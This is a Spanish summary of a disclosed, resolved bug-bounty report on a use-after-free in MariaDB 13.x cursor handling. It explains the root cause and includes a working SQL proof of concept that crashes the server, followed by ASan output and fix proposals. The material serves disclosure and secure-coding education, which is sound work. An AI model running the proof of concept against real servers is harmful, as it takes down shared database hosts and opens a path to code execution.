Reports
ALTA[CORRUPCIÓN DE MEMORIA]#3915935

Use-after-free en MariaDB al reabrir cursores SYS_REFCURSOR que fuerzan la reasignación del array interno

Un fallo de uso después de liberar en el código de cursores de MariaDB 13.x permitía corromper el heap, y potencialmente ejecutar código, a un usuario con permiso para crear funciones almacenadas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El investigador encontró un uso después de liberar (use-after-free) en la gestión de cursores de MariaDB 13.1.0-alpha (rama main). El problema aparece al abrir un cursor cuya consulta, a su vez, abre más cursores de tipo SYS_REFCURSOR: en ese momento la estructura que guarda los cursores crece, reserva memoria nueva y libera la anterior, dejando colgados varios punteros que el código sigue usando después.

Según el reporte, basta con tener el privilegio CREATE FUNCTION, algo habitual en cualquier usuario con su propia base de datos (por ejemplo, en alojamiento compartido). El resultado va desde la caída del servidor hasta la corrupción del heap, con posibilidad de ejecución de código.

Dónde está el fallo

El origen está en sp_cursor::open() (sql/sp_rcontext.cc, línea 845), que llama a:

mysql_open_cursor(thd, &result, &server_side_cursor, cursor_name, return_type)

Las direcciones &result y &server_side_cursor apuntan a miembros de un objeto sp_cursor que vive dentro de un Dynamic_array llamado m_statement_cursors. Durante la llamada a mysql_execute_command() (dentro de mysql_open_cursor()), si el SELECT del cursor ejecuta una función que abre más cursores SYS_REFCURSOR, ese Dynamic_array se queda sin espacio, reasigna su buffer interno y libera el bloque antiguo. A partir de ahí, los punteros que se pasaron a la función apuntan a memoria liberada.

Cuando mysql_execute_command() termina, el código sigue trabajando con esos punteros colgantes en sql/sql_cursor.cc:

  • Línea 250: materialized_cursor->open(result, 0) — una llamada a método virtual a través del puntero result ya liberado, lo que da control sobre el flujo de ejecución.
  • Línea 255: *pcursor = materialized_cursor — una escritura a través del puntero pcursor liberado, que corrompe el heap.

El reporte subraya que este fallo no quedó cubierto por MDEV-40396 (commit 9b075b2c, 17-jul-2026). Aquella corrección atacó una manifestación distinta: eliminó el miembro almacenado Server_side_cursor::select, que se quedaba obsoleto. Pero los parámetros que sp_cursor::open() pasa a mysql_open_cursor() en la línea 845 no se tocaron y siguen quedando colgantes tras la reasignación.

Pasos de reproducción

El investigador reproduce el fallo con una función almacenada que abre 17 cursores (uno más que los 16 que caben por defecto, lo que fuerza la reasignación del array) y un procedimiento que abre un cursor sobre un SELECT de esa función:

-- MariaDB 13.x con soporte de SYS_REFCURSOR
-- Requiere: privilegio CREATE FUNCTION

CREATE DATABASE IF NOT EXISTS test;
USE test;

DELIMITER //

-- Función que fuerza la reasignación del array de cursores (17 > 16 huecos por defecto)
CREATE OR REPLACE FUNCTION trigger_realloc() RETURNS INT
BEGIN
  DECLARE c1  SYS_REFCURSOR;
  DECLARE c2  SYS_REFCURSOR;
  DECLARE c3  SYS_REFCURSOR;
  DECLARE c4  SYS_REFCURSOR;
  DECLARE c5  SYS_REFCURSOR;
  DECLARE c6  SYS_REFCURSOR;
  DECLARE c7  SYS_REFCURSOR;
  DECLARE c8  SYS_REFCURSOR;
  DECLARE c9  SYS_REFCURSOR;
  DECLARE c10 SYS_REFCURSOR;
  DECLARE c11 SYS_REFCURSOR;
  DECLARE c12 SYS_REFCURSOR;
  DECLARE c13 SYS_REFCURSOR;
  DECLARE c14 SYS_REFCURSOR;
  DECLARE c15 SYS_REFCURSOR;
  DECLARE c16 SYS_REFCURSOR;
  DECLARE c17 SYS_REFCURSOR;
  OPEN c1  FOR SELECT 1;
  OPEN c2  FOR SELECT 1;
  OPEN c3  FOR SELECT 1;
  OPEN c4  FOR SELECT 1;
  OPEN c5  FOR SELECT 1;
  OPEN c6  FOR SELECT 1;
  OPEN c7  FOR SELECT 1;
  OPEN c8  FOR SELECT 1;
  OPEN c9  FOR SELECT 1;
  OPEN c10 FOR SELECT 1;
  OPEN c11 FOR SELECT 1;
  OPEN c12 FOR SELECT 1;
  OPEN c13 FOR SELECT 1;
  OPEN c14 FOR SELECT 1;
  OPEN c15 FOR SELECT 1;
  OPEN c16 FOR SELECT 1;
  OPEN c17 FOR SELECT 1;
  RETURN 1;
END//

CREATE OR REPLACE PROCEDURE trigger_uaf()
BEGIN
  DECLARE c SYS_REFCURSOR;
  OPEN c FOR SELECT trigger_realloc();
END//

DELIMITER ;

SET SESSION max_open_cursors = 100;
CALL trigger_uaf();
-- El servidor cae con un heap-use-after-free

Compilado con AddressSanitizer (-DWITH_ASAN=ON), el fallo se delata así:

==61==ERROR: AddressSanitizer: heap-use-after-free on address 0xffffb380f0c0
SUMMARY: AddressSanitizer: heap-use-after-free /opt/mariadb/sql/sql_cursor.cc:250:15
    in Materialized_cursor::open(select_result*, JOIN*)

La compilación afectada es MariaDB 13.1.0-alpha (HEAD de la rama main, agosto de 2026).

Impacto

Según el reporte:

  • Ejecución de código: el puntero colgante result se usa para una llamada a método virtual. Si la memoria liberada se vuelve a ocupar con contenido controlado por el atacante (mediante reservas desde sesiones concurrentes), la resolución de la vtable puede acabar ejecutando código del atacante.
  • Corrupción del heap: *pcursor = materialized_cursor escribe 8 bytes en memoria liberada, dañando cualquier estructura que reutilice ese bloque.
  • Privilegio necesario: solo CREATE FUNCTION, al alcance de cualquier usuario con base de datos propia, caso típico del alojamiento compartido.
  • Versiones afectadas: MariaDB 13.0.x y 13.1.x (cualquiera con soporte de SYS_REFCURSOR).

Remediación

El investigador propone tres caminos, todos orientados a que los punteros no sobrevivan a una reasignación del array:

  1. Refrescar result y server_side_cursor después de que mysql_execute_command() retorne, volviéndolos a derivar del sp_cursor actual (que puede haberse movido), en lugar de pasarlos antes.
  2. "Fijar" el Dynamic_array mientras mysql_open_cursor() mantiene referencias dentro de él, evitando que m_statement_cursors se reasigne (por ejemplo, reservando capacidad por adelantado).
  3. Guardar los resultados en una asignación aparte no movible, de forma parecida a lo que MDEV-40396 hizo con Server_side_cursor::select, pero aplicado esta vez a los parámetros del punto de llamada.

El reporte figura como resuelto y con severidad alta en el programa de MariaDB.

Qué aprender de este caso

  • Cuando una función C/C++ recibe punteros a elementos de un vector dinámico (aquí &result y &server_side_cursor, miembros de un objeto dentro de un Dynamic_array), revisa si el código que se ejecuta en medio puede hacer crecer ese vector: una reasignación mueve los elementos y deja esos punteros colgantes. Es un patrón a buscar en cualquier contenedor que reasigne (std::vector, arrays propios).
  • Al arreglar un use-after-free, comprueba que el parche cubre todos los puntos de llamada, no solo el miembro almacenado que saltó primero: aquí MDEV-40396 quitó un campo obsoleto pero dejó intacta la línea 845 que seguía pasando punteros frágiles.
  • La reasignación se dispara al superar la capacidad reservada (16 huecos por defecto): los límites "redondos" de un contenedor son justo donde conviene probar, abriendo deliberadamente uno más de los que caben.
  • En motores de bases de datos, privilegios aparentemente inocuos como CREATE FUNCTION permiten ejecutar lógica anidada (una función que abre cursores dentro del SELECT de otro cursor); al modelar amenazas, trata ese privilegio como superficie de ataque sobre la memoria del servidor, no solo sobre los datos.